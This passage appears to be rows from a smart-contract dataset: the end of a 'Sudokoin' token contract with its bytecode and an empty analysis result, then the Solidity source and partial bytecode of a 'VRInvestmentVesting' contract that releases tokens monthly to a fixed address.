if (_bNo < 46288) { return 144115188075855872; } // tier 3
if (_bNo < 92577) { return 72057594037927936; } // tier 4
if (_bNo < 185154) { return 36028797018963968; } // tier 5
if (_bNo < 370309) { return 18014398509481984; } // tier 6
if (_bNo < 740619) { return 9007199254740992; } // tier 7
if (_bNo < 1481238) { return 4503599627370496; } // tier 8
if (_bNo < 2962476) { return 2251799813685248; } // tier 9
if (_bNo < 5924952) { return 1125899906842624; } // tier 10
if (_bNo < 11849905) { return 562949953421312; } // tier 11
if (_bNo < 23699811) { return 281474976710656; } // tier 12
if (_bNo < 47399622) { return 140737488355328; } // tier 13
if (_bNo < 94799244) { return 70368744177664; } // tier 14
if (_bNo < 189598488) { return 35184372088832; } // tier 15
if (_bNo < 379196976) { return 17592186044416; } // tier 16
if (_bNo < 758393952) { return 8796093022208; } // tier 17
if (_bNo < 1516787904) { return 4398046511104; } // tier 18
if (_bNo < 3033575809) { return 2199023255552; } // tier 19
if (_bNo < 6067151618) { return 1099511627776; } // tier 20
if (_bNo < 12134303237) { return 549755813888; } // tier 21
if (_bNo < 24268606474) { return 274877906944; } // tier 22
if (_bNo < 48537212948) { return 137438953472; } // tier 23
if (_bNo < 97074425896) { return 68719476736; } // tier 24
if (_bNo < 194148851792) { return 34359738368; } // tier 25
if (_bNo < 388297703584) { return 17179869184; } // tier 26
if (_bNo < 776595407168) { return 8589934592; } // tier 27
if (_bNo < 1553190814336) { return 4294967296; } // tier 28
if (_bNo < 3106381628672) { return 2147483648; } // tier 29
if (_bNo < 6212763257344) { return 1073741824; } // tier 30
if (_bNo < 12425526514688) { return 536870912; } // tier 31
if (_bNo < 24851053029377) { return 268435456; } // tier 32
if (_bNo < 49702106058754) { return 134217728; } // tier 33
if (_bNo < 99404212117509) { return 67108864; } // tier 34
if (_bNo < 198808424235018) { return 33554432; } // tier 35
if (_bNo < 397616848470036) { return 16777216; } // tier 36
if (_bNo < 795233696940073) { return 8388608; } // tier 37
if (_bNo < 1590467393880146) { return 4194304; } // tier 38
if (_bNo < 3180934787760292) { return 2097152; } // tier 39
if (_bNo < 6361869575520585) { return 1048576; } // tier 40
if (_bNo < 12723739151041170) { return 524288; } // tier 41
if (_bNo < 25447478302082340) { return 262144; } // tier 42
if (_bNo < 50894956604164680) { return 131072; } // tier 43
if (_bNo < 101789913208329360) { return 65536; } // tier 44
if (_bNo < 203579826416658720) { return 32768; } // tier 45
if (_bNo < 407159652833317440) { return 16384; } // tier 46
if (_bNo < 814319305666634880) { return 8192; } // tier 47
if (_bNo < 1628638611333269760) { return 4096; } // tier 48
if (_bNo < 3257277222666539520) { return 2048; } // tier 49
if (_bNo < 6514554445333079040) { return 1024; } // tier 50
if (_bNo < 13029108890666158080) { return 512; } // tier 51
if (_bNo < 26058217781332316160) { return 256; } // tier 52
if (_bNo < 52116435562664632320) { return 128; } // tier 53
if (_bNo < 104232871125329264640) { return 64; } // tier 54
if (_bNo < 208465742250658529280) { return 32; } // tier 55
if (_bNo < 416931484501317058560) { return 16; } // tier 56
if (_bNo < 833862969002634117120) { return 8; } // tier 57
if (_bNo < 1667725938005268234240) { return 4; } // tier 58
if (_bNo < 3335451876010536468480) { return 2; } // tier 59
if (_bNo < 6670903752021072936960) { return 1; } // tier 60
return 0;
}
} | 0x606060405236156100ed5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166272615c81146100f257806301c5b2f01461011c57806306fdde031461016a578063095ea7b3146101f557806318160ddd1461022b57806323b872dd14610250578063313ce5671461028c57806342966c68146102b557806370a08231146102df5780637705b6f41461031057806379cc67901461036057806395d89b4114610396578063a3cd2d7814610421578063a9059cbb14610449578063b56494c01461047f578063c1a2a8f4146104cf578063dd62ed3e146104f4575b600080fd5b34156100fd57600080fd5b61010860043561052b565b604051901515815260200160405180910390f35b341561012757600080fd5b6101586004610a24816051610a2060405190810160405291908282610a208082843750939550610540945050505050565b60405190815260200160405180910390f35b341561017557600080fd5b61017d6105b0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ba5780820151818401525b6020016101a1565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020057600080fd5b610108600160a060020a03600435166024356105e7565b604051901515815260200160405180910390f35b341561023657600080fd5b610158610661565b60405190815260200160405180910390f35b341561025b57600080fd5b610108600160a060020a0360043581169060243516604435610668565b604051901515815260200160405180910390f35b341561029757600080fd5b61029f61079b565b60405160ff909116815260200160405180910390f35b34156102c057600080fd5b6101086004356107a0565b604051901515815260200160405180910390f35b34156102ea57600080fd5b610158600160a060020a0360043516610829565b60405190815260200160405180910390f35b341561031b57600080fd5b6101086004610a24816051610a2060405190810160405291908282610a208082843750939550610848945050505050565b604051901515815260200160405180910390f35b341561036b57600080fd5b610108600160a060020a036004351660243561093b565b604051901515815260200160405180910390f35b34156103a157600080fd5b61017d610a15565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ba5780820151818401525b6020016101a1565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042c57600080fd5b610158600435610a4c565b60405190815260200160405180910390f35b341561045457600080fd5b610108600160a060020a036004351660243561103b565b604051901515815260200160405180910390f35b341561048a57600080fd5b6101086004610a24816051610a2060405190810160405291908282610a20808284375093955061111b945050505050565b604051901515815260200160405180910390f35b34156104da57600080fd5b610158611bef565b60405190815260200160405180910390f35b34156104ff57600080fd5b610158600160a060020a0360043581169060243516611bf5565b60405190815260200160405180910390f35b60046020526000908152604090205460ff1681565b6000807a026e4d30eccc3215dd8f3157d27e23acbdcfe68000000000000000815b60488110156105a4576009815b066008141561057c5761059c565b84816051811061058857fe5b602002015182029290920191600a825b0491505b600101610561565b8293505b505050919050565b60408051908101604052600881527f5375646f6b6f696e000000000000000000000000000000000000000000000000602082015281565b600060443610156105f757600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6000545b90565b6000606436101561067857600080fd5b600160a060020a038316151561068d57600080fd5b600160a060020a0384166000908152600360205260409020548211156106b257600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156106e557600080fd5b600160a060020a038316600090815260036020526040902054828101101561070c57600080fd5b600160a060020a03808516600081815260036020908152604080832080548890039055878516808452818420805489019055848452600283528184203390961684529490915290819020805486900390557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b9392505050565b600c81565b600160a060020a0333166000908152600360205260408120548211156107c557600080fd5b600160a060020a0333166000818152600360205260408082208054869003905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a25060015b919050565b600160a060020a0381166000908152600360205260409020545b919050565b6000806108548361111b565b151561085f57600080fd5b61086883610540565b60008181526004602052604090205490915060ff161515610930576000818152600460205260409020805460ff19166001908117909155546108a990610a4c565b600160a060020a0333908116600090815260036020526040908190208054909301909255600180548101908190557f222508096a70c1cf28252ae5aba72a60b55dc79d94028ca41fef889379f23f929290918491519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a160019150610935565b600091505b50919050565b600160a060020a03821660009081526003602052604081205482111561096057600080fd5b600160a060020a038084166000908152600260209081526040808320339094168352929052205482111561099357600080fd5b600160a060020a03808416600081815260036020908152604080832080548890039055600282528083203390951683529390528281208054869003905580548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a25060015b92915050565b60408051908101604052600381527f53444b0000000000000000000000000000000000000000000000000000000000602082015281565b6000612d34821015610a675750670800000000000000610824565b615a68821015610a805750670400000000000000610824565b61b4d0821015610a995750670200000000000000610824565b620169a1821015610ab35750670100000000000000610824565b6202d342821015610acc57506680000000000000610824565b6205a685821015610ae557506640000000000000610824565b620b4d0b821015610afe57506620000000000000610824565b62169a16821015610b1757506610000000000000610824565b622d342c821015610b3057506608000000000000610824565b625a6858821015610b4957506604000000000000610824565b62b4d0b1821015610b6257506602000000000000610824565b630169a163821015610b7c57506601000000000000610824565b6302d342c6821015610b95575065800000000000610824565b6305a6858c821015610bae575065400000000000610824565b630b4d0b18821015610bc7575065200000000000610824565b63169a1630821015610be0575065100000000000610824565b632d342c60821015610bf9575065080000000000610824565b635a6858c0821015610c12575065040000000000610824565b63b4d0b181821015610c2b575065020000000000610824565b640169a16302821015610c45575065010000000000610824565b6402d342c605821015610c5e5750648000000000610824565b6405a6858c0a821015610c775750644000000000610824565b640b4d0b1814821015610c905750642000000000610824565b64169a163028821015610ca95750641000000000610824565b642d342c6050821015610cc25750640800000000610824565b645a6858c0a0821015610cdb5750640400000000610824565b64b4d0b18140821015610cf45750640200000000610824565b650169a1630280821015610d0e5750640100000000610824565b6502d342c60500821015610d2757506380000000610824565b6505a6858c0a00821015610d4057506340000000610824565b650b4d0b181400821015610d5957506320000000610824565b65169a16302801821015610d7257506310000000610824565b652d342c605002821015610d8b57506308000000610824565b655a6858c0a005821015610da457506304000000610824565b65b4d0b181400a821015610dbd57506302000000610824565b660169a163028014821015610dd757506301000000610824565b6602d342c6050029821015610df0575062800000610824565b6605a6858c0a0052821015610e09575062400000610824565b660b4d0b181400a4821015610e22575062200000610824565b66169a1630280149821015610e3b575062100000610824565b662d342c60500292821015610e54575062080000610824565b665a6858c0a00524821015610e6d575062040000610824565b66b4d0b181400a48821015610e86575062020000610824565b670169a16302801490821015610ea0575062010000610824565b6702d342c605002920821015610eb95750618000610824565b6705a6858c0a005240821015610ed25750614000610824565b670b4d0b181400a480821015610eeb5750612000610824565b67169a163028014900821015610f045750611000610824565b672d342c6050029200821015610f1d5750610800610824565b675a6858c0a0052400821015610f365750610400610824565b67b4d0b181400a4800821015610f4f5750610200610824565b680169a1630280149000821015610f695750610100610824565b6802d342c60500292000821015610f8257506080610824565b6805a6858c0a00524000821015610f9b57506040610824565b680b4d0b181400a48000821015610fb457506020610824565b68169a16302801490000821015610fcd57506010610824565b682d342c605002920000821015610fe657506008610824565b685a6858c0a005240000821015610fff57506004610824565b68b4d0b181400a48000082101561101857506002610824565b690169a16302801490000082101561103257506001610824565b5060005b919050565b6000604436101561104b57600080fd5b600160a060020a038316151561106057600080fd5b600160a060020a03331660009081526003602052604090205482111561108557600080fd5b600160a060020a03831660009081526003602052604090205482810110156110ac57600080fd5b600160a060020a033381166000818152600360205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600061117582825b60200201518360015b60200201518460025b60200201518560035b60200201518660045b60200201518760055b60200201518860065b60200201518960075b60200201518a60085b6020020151611c22565b80156111d957506111d98260095b602002015183600a5b602002015184600b5b602002015185600c5b602002015186600d5b602002015187600e5b602002015188600f5b60200201518960105b60200201518a601161116b565b6020020151611c22565b5b801561123e575061123e8260125b60200201518360135b60200201518460145b60200201518560155b60200201518660165b60200201518760175b60200201518860185b60200201518960195b60200201518a601a61116b565b6020020151611c22565b5b80156112a357506112a382601b5b602002015183601c5b602002015184601d5b602002015185601e5b602002015186601f5b60200201518760205b60200201518860215b60200201518960225b60200201518a602361116b565b6020020151611c22565b5b801561130857506113088260245b60200201518360255b60200201518460265b60200201518560275b60200201518660285b60200201518760295b602002015188602a5b602002015189602b5b60200201518a602c61116b565b6020020151611c22565b5b801561136d575061136d82602d5b602002015183602e5b602002015184602f5b60200201518560305b60200201518660315b60200201518760325b60200201518860335b60200201518960345b60200201518a603561116b565b6020020151611c22565b5b80156113d257506113d28260365b60200201518360375b60200201518460385b60200201518560395b602002015186603a5b602002015187603b5b602002015188603c5b602002015189603d5b60200201518a603e61116b565b6020020151611c22565b5b8015611437575061143782603f5b60200201518360405b60200201518460415b60200201518560425b60200201518660435b60200201518760445b60200201518860455b60200201518960465b60200201518a604761116b565b6020020151611c22565b5b801561149c575061149c8260485b60200201518360495b602002015184604a5b602002015185604b5b602002015186604c5b602002015187604d5b602002015188604e5b602002015189604f5b60200201518a605061116b565b6020020151611c22565b5b801561150157506115018260005b60200201518360095b60200201518460125b602002015185601b5b60200201518660245b602002015187602d5b60200201518860365b602002015189603f5b60200201518a604861116b565b6020020151611c22565b5b801561156657506115668260015b602002015183600a5b60200201518460135b602002015185601c5b60200201518660255b602002015187602e5b60200201518860375b60200201518960405b60200201518a604961116b565b6020020151611c22565b5b80156115cb57506115cb8260025b602002015183600b5b60200201518460145b602002015185601d5b60200201518660265b602002015187602f5b60200201518860385b60200201518960415b60200201518a604a61116b565b6020020151611c22565b5b801561163057506116308260035b602002015183600c5b60200201518460155b602002015185601e5b60200201518660275b60200201518760305b60200201518860395b60200201518960425b60200201518a604b61116b565b6020020151611c22565b5b801561169557506116958260045b602002015183600d5b60200201518460165b602002015185601f5b60200201518660285b60200201518760315b602002015188603a5b60200201518960435b60200201518a604c61116b565b6020020151611c22565b5b80156116fa57506116fa8260055b602002015183600e5b60200201518460175b60200201518560205b60200201518660295b60200201518760325b602002015188603b5b60200201518960445b60200201518a604d61116b565b6020020151611c22565b5b801561175f575061175f8260065b602002015183600f5b60200201518460185b60200201518560215b602002015186602a5b60200201518760335b602002015188603c5b60200201518960455b60200201518a604e61116b565b6020020151611c22565b5b80156117c457506117c48260075b60200201518360105b60200201518460195b60200201518560225b602002015186602b5b60200201518760345b602002015188603d5b60200201518960465b60200201518a604f61116b565b6020020151611c22565b5b801561182d575061182d8260085b60200201518360115b602002015184601a5b60200201518560235b602002015186602c5b60200201518760355b602002015188603e5b6020020151896047611485565b60200201518a605061116b565b6020020151611c22565b5b801561189257506118928260005b60200201518360015b60200201518460025b60200201518560095b602002015186600a5b602002015187600b5b60200201518860125b60200201518960135b60200201518a601461116b565b6020020151611c22565b5b80156118f757506118f782601b5b602002015183601c5b602002015184601d5b60200201518560245b60200201518660255b60200201518760265b602002015188602d5b602002015189602e5b60200201518a602f61116b565b6020020151611c22565b5b801561196057506119608260365b60200201518360375b60200201518460385b602002015185603f5b60200201518660405b60200201518760415b60200201518860485b60200201518960496115b4565b60200201518a604a61116b565b6020020151611c22565b5b80156119c557506119c58260035b60200201518360045b60200201518460055b602002015185600c5b602002015186600d5b602002015187600e5b60200201518860155b60200201518960165b60200201518a601761116b565b6020020151611c22565b5b8015611a2a5750611a2a82601e5b602002015183601f5b60200201518460205b60200201518560275b60200201518660285b60200201518760295b60200201518860305b60200201518960315b60200201518a603261116b565b6020020151611c22565b5b8015611a935750611a938260395b602002015183603a5b602002015184603b5b60200201518560425b60200201518660435b60200201518760445b602002015188604b5b602002015189604c6116e3565b60200201518a604d61116b565b6020020151611c22565b5b8015611b045750611b048260065b60200201518360075b60200201518460085b602002015185600f5b60200201518660105b6020020151876011611215565b602002015188601861121e565b6020020151896019611227565b60200201518a601a61116b565b6020020151611c22565b5b8015611b755750611b758260215b60200201518360225b60200201518460235b602002015185602a5b602002015186602b5b602002015187602c611344565b602002015188603361134d565b6020020151896034611356565b60200201518a603561116b565b6020020151611c22565b5b8015611be65750611be682603c5b602002015183603d5b602002015184603e5b60200201518560455b60200201518660465b6020020151876047611473565b602002015188604e61147c565b602002015189604f611485565b60200201518a605061116b565b6020020151611c22565b5b90505b919050565b60015481565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b600080611c3060008c611d59565b9050611c3c818b611d6a565b15611c4a5760009150611d4b565b611c54818b611d59565b9050611c60818a611d6a565b15611c6e5760009150611d4b565b611c78818a611d59565b9050611c848189611d6a565b15611c925760009150611d4b565b611c9c8189611d59565b9050611ca88188611d6a565b15611cb65760009150611d4b565b611cc08188611d59565b9050611ccc8187611d6a565b15611cda5760009150611d4b565b611ce48187611d59565b9050611cf08186611d6a565b15611cfe5760009150611d4b565b611d088186611d59565b9050611d148185611d6a565b15611d225760009150611d4b565b611d2c8185611d59565b9050611d388184611d6a565b15611d465760009150611d4b565b600191505b509998505050505050505050565b60ff600282900a1682175b92915050565b6000811580611d795750600982115b80611d8c5750600282900a831660ff1615155b90505b929150505600a165627a7a72305820a6fa6d9791af5e3e7e068f1efe7190b231c764ffea06597b2cb64fe03bfb277d0029 | {"success": true, "error": null, "results": {}} | 10,555 |
0xB982D3E41A64F9770c875f39fFfeBbCED4bB2FB5 | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VRInvestmentVesting {
using SafeMath for uint256;
IERC20 public token;
/**
* Time Zone: UTC
* Start Date: 2022-04-02 08:00:00 AM
* Last Date: 2025-03-02 08:00:00 AM
*/
uint[36] public LockedDateList = [
1648886400, 1651478400, 1654156800, 1656748800, 1659427200, 1662105600,
1664697600, 1667376000, 1669968000, 1672646400, 1675324800, 1677744000,
1680422400, 1683014400, 1685692800, 1688284800, 1690963200, 1693641600,
1696233600, 1698912000, 1701504000, 1704182400, 1706860800, 1709366400,
1712044800, 1714636800, 1717315200, 1719907200, 1722585600, 1725264000,
1727856000, 1730534400, 1733126400, 1735804800, 1738483200, 1740902400
];
uint256 public totalLockedToken;
uint256 public monthUnlockToken;
address public unlockAddress = 0x032283bE15Ee5beB78f2A5DA0b4b6886a4f3a8f6;
uint256 public firstDate;
uint256 public firstUnlockToken;
bool public isFirstUnlockState;
uint256 public currentUnlockToken;
uint256 public lastUnlockTime;
uint256 public maxUnlockingTimes = 36;
event FirstUnlock(address indexed mananger, uint256 amount);
event MonthUnlock(address indexed mananger, uint256 day, uint256 amount);
modifier unlockCheck() {
if(currentUnlockToken == 0) {
require(
balanceOf() >= totalLockedToken,
"The project party is requested to transfer enough tokens to start the lock up contract"
);
}
require(msg.sender == unlockAddress, "You do not have permission to unlock");
_;
}
constructor(address _token) public {
token = IERC20(_token);
firstDate = 1638432000; // UTC 2021-12-02 08:00:00 AM
uint256 _decimals = token.decimals();
totalLockedToken = (10 ** _decimals).mul(169_491_525_4237288).div(1000_0000); // total 169,491,525.4237288
firstUnlockToken = totalLockedToken.mul(10).div(100); // 10%
monthUnlockToken = totalLockedToken.sub(firstUnlockToken).mul(25).div(1000); // 90% / 36 = 2.5%
}
function blockTimestamp() public view returns(uint256) {
return block.timestamp;
}
function getUnlockedTimes() public view returns(uint256) {
uint256 allTimes;
for(uint i = 0; i < LockedDateList.length; i++) {
if(blockTimestamp() >= LockedDateList[i]) {
allTimes++;
}
}
return allTimes;
}
function balanceOf() public view returns(uint256) {
return token.balanceOf(address(this));
}
function managerBalanceOf() public view returns(uint256) {
return token.balanceOf(unlockAddress);
}
function firstUnlock() public unlockCheck {
require(blockTimestamp() >= firstDate, "It's not time to unlock for the first time");
require(isFirstUnlockState == false, "The first unlocking has been performed, and cannot be repeated");
currentUnlockToken = currentUnlockToken.add(firstUnlockToken);
_safeTransfer(currentUnlockToken);
isFirstUnlockState = true;
emit FirstUnlock(unlockAddress, firstUnlockToken);
}
function monthUnlock() public unlockCheck {
require(balanceOf() > 0, "There is no balance to unlock and withdraw");
uint256 unlockTime = getUnlockedTimes();
uint256 unlockToken;
if(unlockTime >= maxUnlockingTimes) {
unlockToken = balanceOf();
lastUnlockTime = maxUnlockingTimes;
} else {
require(unlockTime > lastUnlockTime, "No current extractable times");
unlockToken = unlockTime.sub(lastUnlockTime).mul(monthUnlockToken);
lastUnlockTime = unlockTime;
}
currentUnlockToken = currentUnlockToken.add(unlockToken);
_safeTransfer(unlockToken);
emit MonthUnlock(unlockAddress, unlockTime, unlockToken);
}
function _safeTransfer(uint256 unlockToken) private {
require(balanceOf() >= unlockToken, "Insufficient available balance for transfer");
token.transfer(unlockAddress, unlockToken);
}
} | 0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063a5c38b3d116100a2578063cc85b2cd11610071578063cc85b2cd146101b5578063d1dbaa93146101bd578063efb76eec146101c5578063f29676bc146101cd578063fc0c546a146101e95761010b565b8063a5c38b3d14610164578063adb618321461016c578063b30929cd14610174578063c1cb359c146101985761010b565b8063722713f7116100de578063722713f7146101445780637e7707161461014c5780639d18bc3d14610154578063a4ecfa831461015c5761010b565b80630da635221461011057806348e0cb521461012a5780634bc252f9146101325780635b94a5501461013c575b600080fd5b6101186101f1565b60408051918252519081900360200190f35b6101186101f7565b61013a6101fd565b005b61011861038f565b610118610395565b61013a610412565b610118610602565b610118610608565b61011861060e565b610118610614565b61017c610618565b604080516001600160a01b039092168252519081900360200190f35b610118600480360360208110156101ae57600080fd5b5035610627565b61011861063b565b61011861068c565b6101186106cc565b6101d56106d2565b604080519115158252519081900360200190f35b61017c6106db565b60255481565b60265481565b602b5461024c5760255461020f610395565b101561024c5760405162461bcd60e51b8152600401808060200182810382526056815260200180610ad66056913960600191505060405180910390fd5b6027546001600160a01b031633146102955760405162461bcd60e51b8152600401808060200182810382526024815260200180610b2c6024913960400191505060405180910390fd5b6028546102a0610614565b10156102dd5760405162461bcd60e51b815260040180806020018281038252602a815260200180610a36602a913960400191505060405180910390fd5b602a5460ff161561031f5760405162461bcd60e51b815260040180806020018281038252603e8152602001806109f8603e913960400191505060405180910390fd5b602954602b5461032e916107d0565b602b81905561033c9061082a565b602a805460ff1916600117905560275460295460408051918252516001600160a01b03909216917f1f9e9b9cbbf56bf5c7942576a685bba7b3a5989f7f7e8758d5ef7a1eab8d5c659181900360200190a2565b60285481565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156103e157600080fd5b505afa1580156103f5573d6000803e3d6000fd5b505050506040513d602081101561040b57600080fd5b5051905090565b602b5461046157602554610424610395565b10156104615760405162461bcd60e51b8152600401808060200182810382526056815260200180610ad66056913960600191505060405180910390fd5b6027546001600160a01b031633146104aa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610b2c6024913960400191505060405180910390fd5b60006104b4610395565b116104f05760405162461bcd60e51b815260040180806020018281038252602a815260200180610a8b602a913960400191505060405180910390fd5b60006104fa61068c565b90506000602d54821061051c5761050f610395565b602d54602c55905061059b565b602c548211610572576040805162461bcd60e51b815260206004820152601c60248201527f4e6f2063757272656e74206578747261637461626c652074696d657300000000604482015290519081900360640190fd5b61059360265461058d602c548561078e90919063ffffffff16565b906106ea565b602c83905590505b602b546105a890826107d0565b602b556105b48161082a565b602754604080518481526020810184905281516001600160a01b03909316927f7c7715ace9c30bc515813d64c04ff95a9e494bc60bd6f03737dce42cf445bf46929181900390910190a25050565b60295481565b602b5481565b602c5481565b4290565b6027546001600160a01b031681565b6001816024811061063457fe5b0154905081565b60008054602754604080516370a0823160e01b81526001600160a01b039283166004820152905191909216916370a08231916024808301926020929190829003018186803b1580156103e157600080fd5b60008060005b60248110156106c657600181602481106106a857fe5b01546106b2610614565b106106be576001909101905b600101610692565b50905090565b602d5481565b602a5460ff1681565b6000546001600160a01b031681565b6000826106f957506000610746565b8282028284828161070657fe5b04146107435760405162461bcd60e51b8152600401808060200182810382526021815260200180610ab56021913960400191505060405180910390fd5b90505b92915050565b600061074383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108fb565b600061074383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061099d565b600082820183811015610743576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b80610833610395565b10156108705760405162461bcd60e51b815260040180806020018281038252602b815260200180610a60602b913960400191505060405180910390fd5b600080546027546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156108cc57600080fd5b505af11580156108e0573d6000803e3d6000fd5b505050506040513d60208110156108f657600080fd5b505050565b600081836109875760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561094c578181015183820152602001610934565b50505050905090810190601f1680156109795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161099357fe5b0495945050505050565b600081848411156109ef5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561094c578181015183820152602001610934565b50505090039056fe54686520666972737420756e6c6f636b696e6720686173206265656e20706572666f726d65642c20616e642063616e6e6f7420626520726570656174656449742773206e6f742074696d6520746f20756e6c6f636b20666f72207468652066697273742074696d65496e73756666696369656e7420617661696c61626c652062616c616e636520666f72207472616e736665725468657265206973206e6f2062616c616e636520746f20756e6c6f636b20616e64207769746864726177536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468652070726f6a6563742070617274792069732072657175657374656420746f207472616e7366657220656e6f75676820746f6b656e7320746f20737461727420746865206c6f636b20757020636f6e7472616374596f7520646f206e6f742068617665207065726d697373696f6e20746f20756e6c6f636ba2646970667358221220ec73e8aa3d23543cea34c820535d4451360b02154da97c106147fcbfd